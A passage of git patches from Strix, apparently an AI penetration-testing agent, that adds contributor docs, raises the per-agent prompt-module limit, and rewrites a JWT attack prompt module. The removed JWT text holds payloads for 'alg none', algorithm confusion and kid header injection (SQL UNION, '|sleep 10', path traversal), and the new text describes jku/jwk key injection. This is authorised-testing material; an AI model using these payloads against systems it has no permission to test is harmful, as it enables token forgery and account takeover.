zHDN#P=8%{!NyJnirq>+EsBAdjB>eDWi=U7kCHdLWK#D?#rBn##ZCFvQ&l|!`f(pvZ z-GE~l!NG?nxnrE}>ojS_ILM3ALSz6LoNisWRGHWeDo+-Q9SjKTzB31{zL#W`zn=RykLA3UtcI${KlK9$8S@?d#SZC#K|+CU5w4?u>KTog1zJ0=O6R{&(+IKoA7^k z>GH_zY$9ldPRt=|F8%E>7t^_OJj%fzG=wCt032ff;0#=bAl*fWOo=HcFwh_zpZV{D z`a(ZjJ(D{C^)=R@cL?Zur}X|~FECQIS%{9))YL*(INH?C+yRGQeRU6AT?5G@-|LF4 zK^r>34MpDaAM~~XpZPxpJHd#$Tl5tcenu4!&fRCf&Z5%cYj37UJphU6jRtwN_-sCu z$00U2sscFEn5*kmPHl;12#@AvsH_5%F3&lba0KITDQan%PN?TtRSFw5+Y9;M00Yjb zwBDJN^Zq@&f>pbJc!m~cH^bi139ng?)(kWKv{cN(RyF`|-YzTknfhC-5Q!afh4*{{ z#4X4&=$1K#$!4m~fgGziF`@_Y<>2BC!F!9NGv4)g4ZYi&m@|4CZ?Oth=tON>edBat6=PwDGa+>)8OGwK^0tVr6DB(Z-(NzkN8X?qSb^+m~J zAuA6&m8#eGKk&Slm@?Hlyrfoa^|Z|V400?|?u=C!c>lZJ8Dykj+Ye(Sc|HfnwOWkz zR&qot4)VU*r%-LL+phbjx6~oQ{$L|0zhE%a|20}RK&BuBr);yq^T!*YY&P2oefqMF zeXF&CJJ(Zt6P%|fcDR;&X%Jb(v-k>D)KAyw{&<1-+;?gYC9y7-hR*A7i$%*{K|UE@ z4h5?+6k%CTfv;b6;3L$w(|TRv(6}8u6j)}ktSh$*5;MYGei7kXGq*2x&8lUoa(d%g zz)0nzj<|#DzK>^+ZL!30WB51aPx;~mZ)5rfT{0Vsg_rkpM0c6bwVA`%Rx9K2CRF7- zMq`R%lRSJUw#|}hb}K?{S9v^LV@93&qaaSnK4>n3T=wi_EuLIxI%Klm)myxpN%frW z@R5rHm%%9UELfw{_dP91g*dS0h*OwQpnXWEIUTaF;sCrEm}bP_+Rcb~RvC_X#`z=N zILOYq5`P+*Rq|{TS*s|0pwk`AUHQS2TudT|o|)BXDUbP1lUA!DI@k}Rg;iS7rL`hm zMi!rF1c#Y6#p+);1xv0SF1agqaBVht=ZP=wGMMkD_X-nRmJF-w#0w39U8T^yoGUHM ztfrP?SuN?JH{{kvGfv8o&$?p_)!x_0>)I~j!3!77th$4*2jtp*6hE*E+ez_Yn7bcv zP9OW?T)NdxB#*v#fdCmtuoK+HL~Y6gRoz!;{aaNNn!=B?VuhI%JxIwjKFrnplvB6} zxYuU98Lr)9)P{!>1)psosvsLlYSfvuAs_P4lI)ZLtzg@!zO|2Uj2552^y#tF_@U^0 zmK(Em7~ZDi(T08_o2tRN>BEeta&T!14BRZ0MNAb(wu9d;qR#e^gOzN1=IxGvCA5T&E~xlxDXO=;P^vbO z0ZLAFWxqi@0tRy|6VTxAkr8JM@|Ca*nXq7Aihy zI#bMvG9NXjpY?I3ukPToQ$Ay_OtW>)S=S!i@ozpu`_C>wenZXmOA)-!=G#U|ei`-+ zOJ%|{;3lAvU3z@7Z_IZKSL?zFF#XJ%qlsOuD9CqDuvP>(@K>vdz>4v&E(bznrgE$Io=~j@B$d z#ufYYSjQ;qe04`wL}+NnI&@glt87LgnkV}gi7E11tMa#+;gf{1o#5RL4-m0d` zNsvc=q-fwm%D-tB!JaK{_vQt(GQu=p!IJ!4-Tm}87D zi{5rDj$#Y%p=)@pnK`Uk)@7hSm?1_SDOS#ep#4b2FDkjj!1UE8w)ouiTbz@FND{pD zM&lV;H)VyQZ0_B48HjH+p5(8acjQj9Y_gjkysvhzailZl$B+qd?VKPu#Rcv*QY{$E zUss>;OL*Cqgu-d!ZngbsGLKNSF|gZpE8nuKo|xj{HNYr?T#Qq+n2Rm1g;iyO zte($wBfD%a$E8uPaxOuy#+sy)xGkFl^=64eo41NgWE9#S{aO#=#jMEYC&fe(O?6L8 zby(}iy{bHeFv=LW0`UI7jqVwI@^EexUg;cMu+Hqvk}z9swTNw3lTp-Irf3a1Us^^3 z5|F%e)goj(8r+IGe>mD{5OQ>|Y0G(GuJ{~U_?aXYu3E~Nw`>g0GYh!?W~r>RC?6v5 zpIG_j*6&C|egK+z!t4G9k7+!YOf&A3pc@3^kzMD9Ev%vM%8Ei>nC-%N7uPpL^dOx! zL7ua_jfmwqvE`hYv*K%=mSGfTtbuTp#poAW9MfN25p;>;j~BP<82C1$%-S$5?JR|G z*-Qgddvc5a#~xqU2BE+4EW<`Y+&*MIC(H7EOiFO4WTb2%`$ zuW`dH^O~utg!-AQZlw+U{NIeU_38NdO;A#lVipLnMU3hHCWXB}&&`<9gc+&{|As{@o92kN7NpBSNeuUYT0UkhV( zGa9~?6xw|&zoaHN7?8W@s~NsM5aIE;o%-+fjL%r3BKBe7YaK7Ovmib16ccYGc8E%f zbG|Rl%f4%B^2M@h{o}*Y@uz*};?yndIVlkl3nw2~YWy6x62yVzO@qI4rx^i37F6#3Vg`3icN7 z`VW%(fhQQ5+j5lf@L9l^Rd-4&i>C&iV{%zRE{Vf7%71-3L-zgUG0La@3bS|dPR)Uo z&-_=HT?OL|wHJp=DiKu6A3bip^QAE8;kNoDs?Rz^T0e^IrFs3Ywu-0iTP7rvF1ZH| z%Y1iEl%Ft}OLFmEMGhV{L3#~9B47I_wF0Gs2VtUL?gq%w;sR#nCC&e}*PGqwIqv3n zeELcPU`J6UeRVU94mUXj0B7pc0&Sj>Dne~KMp61{f!)^5pZspsILo^6H5FD9Afq-P z?#+v8c>FEbSY#~u_@>~Dx|-R@l97+Zv$PmKbL;V%%*9t|$5{Z6Lz*o6)b+{w)aEY; z<^GEt7QTq?wu9VD?Ym1k(1oa1nk>Z3&lccb&7~7q@pSTXybyYrA(KDDG7_&A#a!Lw z{~k+rnfXpSCzdIEpx~DNc<2nWkt~1195EIzyQXZ(%Zh?8mkBft+j>s@27T;{KK2e4 zl-oY&kb+__1Q<}IoM8!t+<*lKl6teRaOXkWCvb|QN4VU3LQ>))*i=Y6T+U)X&R z+&L~lc_b$xvPoK8fNJ+d#x^h8&4w6UYTkXHV{ystZ9RSWt4cONQ2g_<1kUvm2G~ek z{X-wn%D>mO>ioZKvv*9dTPhk-yAjkU5|wO3Aw&fOY>gII@LP5O#t71d*L#|PdS{H1 zM1#25r4US)M&5Bah4b8D?Gak!BM^_Q9D79MVoM{MiKLD8)pL_^2nV^eN`W_0Fr43= zKtXdYE2i0Bd+$OFe8)9Z?IwR(aUSrm$qy_C|4mV{V}N!!QcV3BK_?d)jS~0(r0q|B z3v9EreP$1&eu>PwM>h+v+XCyHt4~D!4WzOxuvF!!b+KlgLoryd2}r>*o}=@7?CM)I$sS{ zs~eN=F0dXc1 zt=&{y6B8Ap;g_QBn&vn*@1FBX>cqh}cp~u;@vopW{xlFT^2g4QJTb_m!-L7OZ?kPe z;@!JP%T|5o(+{Ck!3EuBRdLO=?0OP}R|Y^U$tyF^$gPVg zd{1Ds`jo+0UmA#U9EU|}MhK$pN55oBFL8M&i9DK#{bt-x7yd!bVx7JwqI5O;>wn6$^!)xCQ?oDl-{}Vp$N~^QrlAbDL_=RhT&yc(1xRPx^DEaws0PZWQy#=| z5%KQ8yuvYf7BrKz?ml%2C<2Ny#Fn;oGMhio*o4eP-hMw*r2S!Qs2`~N=rLTsZlSN* z_Upj}=d{(QoP_`SGILN)l}eMwvyYFWJ?ddWiB?3hXc!85xnswS(nd!T9&RVkhR9&{ zBHA~97Nxu_e7A-)lge?kZ>qNMf0rOlerU|{r6;4}O8yvFt;w$+Yff(9}PW7c$F0epY2(XSnbNaRI44fbM+o{F2*;b>m~km6dgcG!B{pNJ_TuEYTj;VMW>Wm<@aeA`Q)cV9 z*RuZIX7wUjFYD^0y{^x`+i|7RB7d*rs&4_~R^VFi zbDx}rKmY?M`dVj@v`0XLDHiYg*71UC8S|EVS#m|t^v=pe#jp9Q$N2(PCL-ktmnB|< z3+gimv_4o1H=SoqWvs>~)~Fi$vrhf^x$?|A;Ae^tC*JK5xJBnFW3{Z~S`yyNjF;_a zIec(!hyFk6@$r9!X12i`kYl3(^Bex}-o>zDznbVhSH!R{iMQ|dR+_ikc02!?)M~!+ zPqL`~1w-~s9^qm|XdJK8HCh~kZo-fzt<_d*km4=Bt9oT=qSe-`-gw&ylzn7@fp+Dz zT2)P|so<(RhiN806Owfogo~4ki)KQ@{Sf>G6ieoj$-~tO9*y4JESr}=UzJSmd_|1+X-E%Rc?_j|L+2KNPw{rHW7K+@#~UU$+L zx0!CY*Q|-%Kj8An5ZFMk!LyD&-`gFTusTV5p5GMgBris%WJ&7R3v1))%dlT*@;ajo0wkRZvt6{x#X=n3J*CpP!-gCiAoFIG4{9y;?Wa#hf|1yD`uYNs-wiJXUXII(1DCPu2+-1}^!2+gKYeipi(X zZCaqOW*5M}VAtjJqDjkrh?5sc9u4Vsn6WZ4DSxARn3{i=LFx60RX+!I$~W3uvds%l zPDD>tS=J>eCX6e_88l3I&~^S>R_@6SFzKyVsT{mJF$zu$whtb-B)*mx!WyeZ`mcc4 zib9SGkNUo5kNFO2h<)gB{yXT9qhbrm;~8)=7moC#Nf}9+vz0zW__}*ybI`-k$nz_< zBHY6Ju4~#7^(I^1heMc!56jFZC>mHcHDj--PxulKYG-$MO3QN%D7=-k8NeAt8%Ah! z-x~>gkJF6tt8qstfrvjR6+mGNIxbZbMGiUCRsWk+JK)}l5MZ85+z2b7Xpw1xxYz z16%Spm7w)EJ>c}9{&Z^7a#L=Dy;${r$fW=7oq>|PNZ0F+B^SCpAQEE}J-jm80Rf3` zwf-6o(iKCkmo~Y&7ziSi%GrlGiU{=wkfaAdm}|ArAgk)@{5);lKp_A9Rfi=oR3EEs WHSSyESaV+f{ui#HuU@H&3jco_@Tw^Q From 7de9c4efe15ab875668c8da57fba27a46ed7526f Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Fri, 10 Oct 2025 02:41:42 -0700 Subject: [PATCH 024/506] feat: Add prompt module collections and contributing.md (#40) --- .github/ISSUE_TEMPLATE/bug_report.md | 8 +- CONTRIBUTING.md | 116 ++++++++++++++++++ README.md | 17 +++ strix/agents/StrixAgent/system_prompt.jinja | 4 +- strix/cli/app.py | 4 +- strix/cli/main.py | 3 +- strix/cli/tool_components/base_renderer.py | 4 +- .../cli/tool_components/reporting_renderer.py | 3 +- strix/prompts/README.md | 64 ++++++++++ strix/prompts/__init__.py | 2 +- strix/prompts/cloud/.gitkeep | 0 strix/prompts/custom/.gitkeep | 0 strix/prompts/frameworks/.gitkeep | 0 strix/prompts/protocols/.gitkeep | 0 strix/prompts/reconnaissance/.gitkeep | 0 strix/prompts/technologies/.gitkeep | 0 .../agents_graph/agents_graph_actions.py | 4 +- .../agents_graph_actions_schema.xml | 4 +- strix/tools/registry.py | 2 +- 19 files changed, 217 insertions(+), 18 deletions(-) create mode 100644 CONTRIBUTING.md create mode 100644 strix/prompts/README.md create mode 100644 strix/prompts/cloud/.gitkeep create mode 100644 strix/prompts/custom/.gitkeep create mode 100644 strix/prompts/frameworks/.gitkeep create mode 100644 strix/prompts/protocols/.gitkeep create mode 100644 strix/prompts/reconnaissance/.gitkeep create mode 100644 strix/prompts/technologies/.gitkeep diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 060e3d45a..f9b9106e9 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -12,7 +12,7 @@ A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior: -1. +1. 2. 3. 4. @@ -24,9 +24,9 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **System Information:** -- OS: [e.g. Ubuntu 22.04] -- Strix Version or Commit: [e.g. 0.1.18] -- Python Version: [e.g. 3.12] +- OS: [e.g. Ubuntu 22.04] +- Strix Version or Commit: [e.g. 0.1.18] +- Python Version: [e.g. 3.12] - LLM Used: [e.g. GPT-5, Claude Sonnet 4] **Additional context** diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..18261696c --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,116 @@ +# Contributing to Strix + +Thank you for your interest in contributing to Strix! This guide will help you get started with development and contributions. + +## 🚀 Development Setup + +### Prerequisites + +- Python 3.12+ +- Docker (running) +- Poetry (for dependency management) +- Git + +### Local Development + +1. **Clone the repository** + ```bash + git clone https://github.com/usestrix/strix.git + cd strix + ``` + +2. **Install development dependencies** + ```bash + make setup-dev + + # or manually: + poetry install --with=dev + poetry run pre-commit install + ``` + +3. **Configure your LLM provider** + ```bash + export STRIX_LLM="openai/gpt-5" + export LLM_API_KEY="your-api-key" + ``` + +4. **Run Strix in development mode** + ```bash + poetry run strix --target https://example.com + ``` + +## 📚 Contributing Prompt Modules + +Prompt modules are specialized knowledge packages that enhance agent capabilities. See [strix/prompts/README.md](strix/prompts/README.md) for detailed guidelines. + +### Quick Guide + +1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.) +2. **Create a** `.jinja` file with your prompts +3. **Include practical examples** - Working payloads, commands, or test cases +4. **Provide validation methods** - How to confirm findings and avoid false positives +5. **Submit via PR** with clear description + +## 🔧 Contributing Code + +### Pull Request Process + +1. **Create an issue first** - Describe the problem or feature +2. **Fork and branch** - Work from the `main` branch +3. **Make your changes** - Follow existing code style +4. **Write/update tests** - Ensure coverage for new features +5. **Run quality checks** - `make check-all` should pass +6. **Submit PR** - Link to issue and provide context + +### PR Guidelines + +- **Clear description** - Explain what and why +- **Small, focused changes** - One feature/fix per PR +- **Include examples** - Show before/after behavior +- **Update documentation** - If adding features +- **Pass all checks** - Tests, linting, type checking + +### Code Style + +- Follow PEP 8 with 100-character line limit +- Use type hints for all functions +- Write docstrings for public methods +- Keep functions focused and small +- Use meaningful variable names + +## 🐛 Reporting Issues + +When reporting bugs, please include: + +- Python version and OS +- Strix version +- LLMs being used +- Full error traceback +- Steps to reproduce +- Expected vs actual behavior + +## 💡 Feature Requests + +We welcome feature ideas! Please: + +- Check existing issues first +- Describe the use case clearly +- Explain why it would benefit users +- Consider implementation approach +- Be open to discussion + +## 🤝 Community + +- **Discord**: [Join our community](https://discord.gg/yduEyduBsp) +- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues) + +## ✨ Recognition + +We value all contributions! Contributors will be: +- Listed in release notes +- Thanked in our Discord +- Added to contributors list (coming soon) + +--- + +**Questions?** Reach out on [Discord](https://discord.gg/yduEyduBsp) or create an issue. We're here to help! diff --git a/README.md b/README.md index 1dedfabf0..63bfd1fb4 100644 --- a/README.md +++ b/README.md @@ -145,6 +145,23 @@ Our managed platform provides: > [!WARNING] > Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally. +## 🤝 Contributing + +We welcome contributions from the community! There are several ways to contribute: + +### Code Contributions +See our [Contributing Guide](CONTRIBUTING.md) for details on: +- Setting up your development environment +- Running tests and quality checks +- Submitting pull requests +- Code style guidelines + +### Prompt Modules Collection +Help expand our collection of specialized prompt modules for AI agents: +- Advanced testing techniques for vulnerabilities, frameworks, and technologies +- See [Prompt Modules Documentation](strix/prompts/README.md) for guidelines +- Submit via [pull requests](https://github.com/usestrix/strix/pulls) or [issues](https://github.com/usestrix/strix/issues) + ## 🌟 Support the Project **Love Strix?** Give us a ⭐ on GitHub! diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 0a407d94d..b8b374664 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -248,7 +248,7 @@ CRITICAL RULES: - **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs - **SPAWN REACTIVELY** - Create new agents based on what you discover - **ONLY REPORTING AGENTS** can use create_vulnerability_report tool -- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized with maximum 3 prompt modules +- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized; prefer 1–3 prompt modules, up to 5 for complex contexts - **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus AGENT SPECIALIZATION EXAMPLES: @@ -262,7 +262,7 @@ GOOD SPECIALIZATION: BAD SPECIALIZATION: - "General Web Testing Agent" with prompt_modules: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad) - "Everything Agent" with prompt_modules: all available modules (completely unfocused) -- Any agent with more than 3 prompt modules (violates constraints) +- Any agent with more than 5 prompt modules (violates constraints) FOCUS PRINCIPLES: - Each agent should have deep expertise in 1-3 related vulnerability types diff --git a/strix/cli/app.py b/strix/cli/app.py index 63414f042..cf27ba212 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -7,7 +7,7 @@ import sys import threading from collections.abc import Callable -from typing import Any, ClassVar +from typing import Any, ClassVar, cast from rich.markup import escape as rich_escape from rich.text import Text @@ -26,7 +26,7 @@ def escape_markup(text: str) -> str: - return rich_escape(text) + return cast("str", rich_escape(text)) class ChatTextArea(TextArea): # type: ignore[misc] diff --git a/strix/cli/main.py b/strix/cli/main.py index 88be83951..df5655edb 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -139,7 +139,8 @@ def validate_environment() -> None: ) elif var == "LLM_API_BASE": error_text.append( - "export LLM_API_BASE='http://localhost:11434' # needed for local models only\n", + "export LLM_API_BASE='http://localhost:11434' " + "# needed for local models only\n", style="dim white", ) elif var == "PERPLEXITY_API_KEY": diff --git a/strix/cli/tool_components/base_renderer.py b/strix/cli/tool_components/base_renderer.py index 80b8f549b..f1006befa 100644 --- a/strix/cli/tool_components/base_renderer.py +++ b/strix/cli/tool_components/base_renderer.py @@ -1,5 +1,5 @@ from abc import ABC, abstractmethod -from typing import Any, ClassVar +from typing import Any, ClassVar, cast from rich.markup import escape as rich_escape from textual.widgets import Static @@ -17,7 +17,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def escape_markup(cls, text: str) -> str: - return rich_escape(text) + return cast("str", rich_escape(text)) @classmethod def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str: diff --git a/strix/cli/tool_components/reporting_renderer.py b/strix/cli/tool_components/reporting_renderer.py index 8e7ee94b7..f2b67b230 100644 --- a/strix/cli/tool_components/reporting_renderer.py +++ b/strix/cli/tool_components/reporting_renderer.py @@ -27,7 +27,8 @@ def render(cls, tool_data: dict[str, Any]) -> Static: if severity: severity_color = cls._get_severity_color(severity.lower()) content_parts.append( - f" [dim]Severity: [{severity_color}]{cls.escape_markup(severity.upper())}[/{severity_color}][/]" + f" [dim]Severity: [{severity_color}]" + f"{cls.escape_markup(severity.upper())}[/{severity_color}][/]" ) if content: diff --git a/strix/prompts/README.md b/strix/prompts/README.md new file mode 100644 index 000000000..52464e656 --- /dev/null +++ b/strix/prompts/README.md @@ -0,0 +1,64 @@ +# 📚 Strix Prompt Modules + +## 🎯 Overview + +Prompt modules are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each module provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge. + +--- + +## 🏗️ Architecture + +### How Prompts Work + +When an agent is created, it can load up to 5 specialized prompt modules relevant to the specific subtask and context at hand: + +```python +# Agent creation with specialized modules +create_agent( + task="Test authentication mechanisms in API", + name="Auth Specialist", + prompt_modules="authentication_jwt,business_logic" +) +``` + +The modules are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand. + +--- + +## 📁 Module Categories + +| Category | Purpose | +|----------|---------| +| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions | +| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js | +| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways | +| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards | +| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments | +| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping | +| **`/custom`** | Community-contributed modules for specialized or industry-specific testing scenarios | + +--- + +## 🎨 Creating New Modules + +### What Should a Module Contain? + +A good prompt module is a structured knowledge package that typically includes: + +- **Advanced techniques** - Non-obvious methods specific to the task and domain +- **Practical examples** - Working payloads, commands, or test cases with variations +- **Validation methods** - How to confirm findings and avoid false positives +- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases + +Modules use XML-style tags for structure and focus on deep, specialized knowledge that significantly enhances agent capabilities for that specific context. + +--- + +## 🤝 Contributing + +Community contributions are more than welcome — contribute new modules via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents. + +--- + +> [!NOTE] +> **Work in Progress** - We're actively expanding the prompt module collection with specialized techniques and new categories. diff --git a/strix/prompts/__init__.py b/strix/prompts/__init__.py index 2e6682e50..28ff8aa8f 100644 --- a/strix/prompts/__init__.py +++ b/strix/prompts/__init__.py @@ -58,7 +58,7 @@ def generate_modules_description() -> str: modules_str = ", ".join(sorted_modules) description = ( - f"List of prompt modules to load for this agent (max 3). Available modules: {modules_str}. " + f"List of prompt modules to load for this agent (max 5). Available modules: {modules_str}. " ) example_modules = sorted_modules[:2] diff --git a/strix/prompts/cloud/.gitkeep b/strix/prompts/cloud/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/prompts/custom/.gitkeep b/strix/prompts/custom/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/prompts/frameworks/.gitkeep b/strix/prompts/frameworks/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/prompts/protocols/.gitkeep b/strix/prompts/protocols/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/prompts/reconnaissance/.gitkeep b/strix/prompts/reconnaissance/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/prompts/technologies/.gitkeep b/strix/prompts/technologies/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/strix/tools/agents_graph/agents_graph_actions.py b/strix/tools/agents_graph/agents_graph_actions.py index e9a2cb5e2..3decd89ee 100644 --- a/strix/tools/agents_graph/agents_graph_actions.py +++ b/strix/tools/agents_graph/agents_graph_actions.py @@ -199,11 +199,11 @@ def create_agent( if prompt_modules: module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()] - if len(module_list) > 3: + if len(module_list) > 5: return { "success": False, "error": ( - "Cannot specify more than 3 prompt modules for an agent " + "Cannot specify more than 5 prompt modules for an agent " "(use comma-separated format)" ), "agent_id": None, diff --git a/strix/tools/agents_graph/agents_graph_actions_schema.xml b/strix/tools/agents_graph/agents_graph_actions_schema.xml index f9d67a491..9b02e9b64 100644 --- a/strix/tools/agents_graph/agents_graph_actions_schema.xml +++ b/strix/tools/agents_graph/agents_graph_actions_schema.xml @@ -80,7 +80,7 @@ Only create a new agent if no existing agent is handling the specific task.Whether the new agent should inherit parent's conversation history and context - Comma-separated list of prompt modules to use for the agent (MAXIMUM 3 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related vulnerability modules only. {{DYNAMIC_MODULES_DESCRIPTION}} + Comma-separated list of prompt modules to use for the agent (MAXIMUM 5 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related modules; up to 5 for complex contexts. {{DYNAMIC_MODULES_DESCRIPTION}} @@ -114,7 +114,7 @@ Only create a new agent if no existing agent is handling the specific task.xss - # Example of maximum 3 related modules (borderline acceptable) + # Example of up to 5 related modules (borderline acceptable) Test for server-side vulnerabilities including SSRF, XXE, and potential RCE vectors in file upload and XML processing endpoints. diff --git a/strix/tools/registry.py b/strix/tools/registry.py index ab82d6033..a12ae2b0f 100644 --- a/strix/tools/registry.py +++ b/strix/tools/registry.py @@ -33,7 +33,7 @@ def _process_dynamic_content(content: str) -> str: logger.warning("Could not import prompts utilities for dynamic schema generation") content = content.replace( "{{DYNAMIC_MODULES_DESCRIPTION}}", - "List of prompt modules to load for this agent (max 3). Module discovery failed.", + "List of prompt modules to load for this agent (max 5). Module discovery failed.", ) return content From fa566e5fb54dc0944b1dc62f7f10371228818c87 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Sun, 12 Oct 2025 23:38:24 -0700 Subject: [PATCH 025/506] refactor: Add noqa comments to validate_environment function for lint issues --- strix/cli/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/strix/cli/main.py b/strix/cli/main.py index df5655edb..2d26e249d 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -40,7 +40,7 @@ def format_token_count(count: float) -> str: return str(count) -def validate_environment() -> None: +def validate_environment() -> None: # noqa: PLR0912, PLR0915 console = Console() missing_required_vars = [] missing_optional_vars = [] From d4a62ec365272880041e125cc12eb006a107ef9c Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 13 Oct 2025 15:38:38 -0700 Subject: [PATCH 026/506] refactor: Revise vulnerabilities prompts for clarity and comprehensiveness --- .../vulnerabilities/authentication_jwt.jinja | 248 +++++----- .../vulnerabilities/business_logic.jinja | 264 ++++++----- strix/prompts/vulnerabilities/csrf.jinja | 268 +++++------ strix/prompts/vulnerabilities/idor.jinja | 267 ++++++----- .../vulnerabilities/race_conditions.jinja | 300 ++++++------ strix/prompts/vulnerabilities/rce.jinja | 308 ++++++------- .../vulnerabilities/sql_injection.jinja | 320 ++++++------- strix/prompts/vulnerabilities/ssrf.jinja | 269 +++++------ strix/prompts/vulnerabilities/xss.jinja | 340 ++++++-------- strix/prompts/vulnerabilities/xxe.jinja | 426 ++++++++---------- 10 files changed, 1405 insertions(+), 1605 deletions(-) diff --git a/strix/prompts/vulnerabilities/authentication_jwt.jinja b/strix/prompts/vulnerabilities/authentication_jwt.jinja index ef3a7e77b..d15b9c8a3 100644 --- a/strix/prompts/vulnerabilities/authentication_jwt.jinja +++ b/strix/prompts/vulnerabilities/authentication_jwt.jinja @@ -1,129 +1,147 @@ -AUTHENTICATION & JWT VULNERABILITIES - -Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere. - - -header.payload.signature -- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %} -- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %} -- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) - - - - -RS256 to HS256: -- Change RS256 to HS256 in header -- Use public key as HMAC secret -- Sign token with public key (often in /jwks.json or /.well-known/) - - - -- Set {% raw %}"alg": "none"{% endraw %} in header -- Remove signature completely (keep the trailing dot) - - - -Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret' - - - -- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %} -- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %} -- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %} - - +AUTHENTICATION AND JWT/OIDC + +JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context. + + +- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2 +- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows +- First-party and microservices verification, gateways, and JWKS distribution + + + +1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients. +2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json). +3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance. +4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced. + + + + +- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration +- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS +- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints +- App: /login, /callback, /refresh, /me, /session, /impersonate + + + +- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %} +- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %} +- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit"). + + + + + +- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned +- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it +- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures + + + +- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files +- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys +- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys +- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts + + + +- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg +- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services +- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs) + + + +- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience +- scope/roles fully trusted from token: 